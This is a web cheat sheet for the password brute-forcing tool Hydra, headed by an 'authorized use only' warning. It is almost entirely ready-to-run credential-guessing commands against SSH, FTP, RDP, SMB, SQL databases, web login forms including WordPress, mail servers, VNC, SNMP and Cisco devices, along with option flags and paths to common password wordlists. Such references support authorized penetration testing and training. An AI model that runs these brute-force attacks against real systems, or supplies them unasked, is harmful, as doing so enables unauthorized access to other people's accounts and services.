← All cheat sheets

🌶 HYDRA

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

Interactive tool: 🔨 Hashcat / John Rule & Mask Builder

hydra -l <user> -p <pass> <target> <service>
hydra -L <userlist> -P <passlist> <target> <service>

-l <login>        Single username
-L <file>         Username list file
-p <pass>         Single password
-P <file>         Password list file
-C <file>         Colon-separated "login:pass" file
-M <file>         List of targets
-t <tasks>        Number of parallel connections (default 16)
-w <time>         Max wait time for response (default 32s)
-W <time>         Wait time between connections
-f                Exit after first found login
-F                Exit after first found login per host
-v / -V           Verbose / Very verbose
-d                Debug mode
-o <file>         Output to file
-s <port>         Custom port
-S                Use SSL
-e nsr            Try null password, login as pass, reversed login
-u                Loop around users, not passwords
-x <min:max:charset>  Password generation

hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
hydra -L users.txt -P passwords.txt 192.168.1.1 ssh -t 4
hydra -l admin -P passwords.txt -s 2222 192.168.1.1 ssh

hydra -l admin -P passwords.txt ftp://192.168.1.1
hydra -L users.txt -P passwords.txt 192.168.1.1 ftp
hydra -l anonymous -P passwords.txt 192.168.1.1 ftp -e nsr

hydra -l admin -P passwords.txt telnet://192.168.1.1
hydra -L users.txt -P passwords.txt 192.168.1.1 telnet

hydra -l admin -P passwords.txt smb://192.168.1.1
hydra -L users.txt -P passwords.txt 192.168.1.1 smb

hydra -l admin -P passwords.txt rdp://192.168.1.1
hydra -L users.txt -P passwords.txt 192.168.1.1 rdp -t 1

hydra -l root -P passwords.txt mysql://192.168.1.1
hydra -L users.txt -P passwords.txt 192.168.1.1 mysql

hydra -l sa -P passwords.txt mssql://192.168.1.1
hydra -L users.txt -P passwords.txt 192.168.1.1 mssql

hydra -l postgres -P passwords.txt postgres://192.168.1.1
hydra -L users.txt -P passwords.txt 192.168.1.1 postgres

hydra -l admin -P passwords.txt http-get://192.168.1.1/admin
hydra -L users.txt -P passwords.txt 192.168.1.1 http-get /admin

hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid"

# Syntax: "page:parameters:failure_string"
# ^USER^ = username placeholder
# ^PASS^ = password placeholder
# F=failure_string or S=success_string

# With cookies
hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid:H=Cookie: security=low"

# HTTPS
hydra -l admin -P passwords.txt 192.168.1.1 https-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid"

hydra -l admin -P passwords.txt 192.168.1.1 http-get-form "/login.php?user=^USER^&pass=^PASS^:Invalid"

hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid"

hydra -l user@domain.com -P passwords.txt pop3://mail.domain.com
hydra -L emails.txt -P passwords.txt 192.168.1.1 pop3

hydra -l user@domain.com -P passwords.txt imap://mail.domain.com
hydra -L emails.txt -P passwords.txt 192.168.1.1 imap

hydra -l user@domain.com -P passwords.txt smtp://mail.domain.com
hydra -L emails.txt -P passwords.txt 192.168.1.1 smtp

hydra -l admin -P passwords.txt ldap://192.168.1.1
hydra -L users.txt -P passwords.txt 192.168.1.1 ldap2

hydra -P passwords.txt vnc://192.168.1.1
hydra -P passwords.txt 192.168.1.1 vnc -s 5901

hydra -P /usr/share/wordlists/rockyou.txt 192.168.1.1 snmp

hydra -P passwords.txt cisco://192.168.1.1
hydra -P passwords.txt 192.168.1.1 cisco-enable

hydra -l root -P passwords.txt 192.168.1.1 rexec
hydra -l root -P passwords.txt 192.168.1.1 rlogin
hydra -l root -P passwords.txt 192.168.1.1 rsh

# Generate passwords with charset
hydra -l admin -x 4:6:aA1 192.168.1.1 ssh
# 4:6 = min:max length
# a = lowercase letters
# A = uppercase letters
# 1 = numbers
# Other: ! (symbols)

# Combined
hydra -l admin -x 6:8:aA1! 192.168.1.1 ssh

/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/dirb/common.txt
/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt
/usr/share/seclists/Usernames/top-usernames-shortlist.txt

# Reduce threads for unstable services
hydra -t 4 ...

# Try common password variations
hydra -e nsr ...
# n = null password
# s = login as password
# r = reversed login as password

# Resume session
hydra -R

# Output found credentials
hydra -o results.txt ...

# Multiple targets
hydra -M targets.txt ...

# Specific port
hydra -s 8080 ...

adam6500, asterisk, afp, cisco, cisco-enable, cvs, firebird,
ftp, ftps, http-{head|get|post}, http-{get|post}-form,
http-proxy, http-proxy-urlenum, icq, imap, imaps, irc, ldap2,
ldap3, ldap3-crammd5, ldap3-digestmd5, memcached, mongodb,
mssql, mysql, ncp, nntp, oracle-listener, oracle-sid, pcanywhere,
pcnfs, pop3, pop3s, postgres, radmin2, rdp, redis, rexec, rlogin,
rpcap, rsh, rtsp, s7-300, sip, smb, smtp, smtps, smtp-enum,
snmp, socks5, ssh, sshkey, svn, teamspeak, telnet, telnets,
vmauthd, vnc, xmpp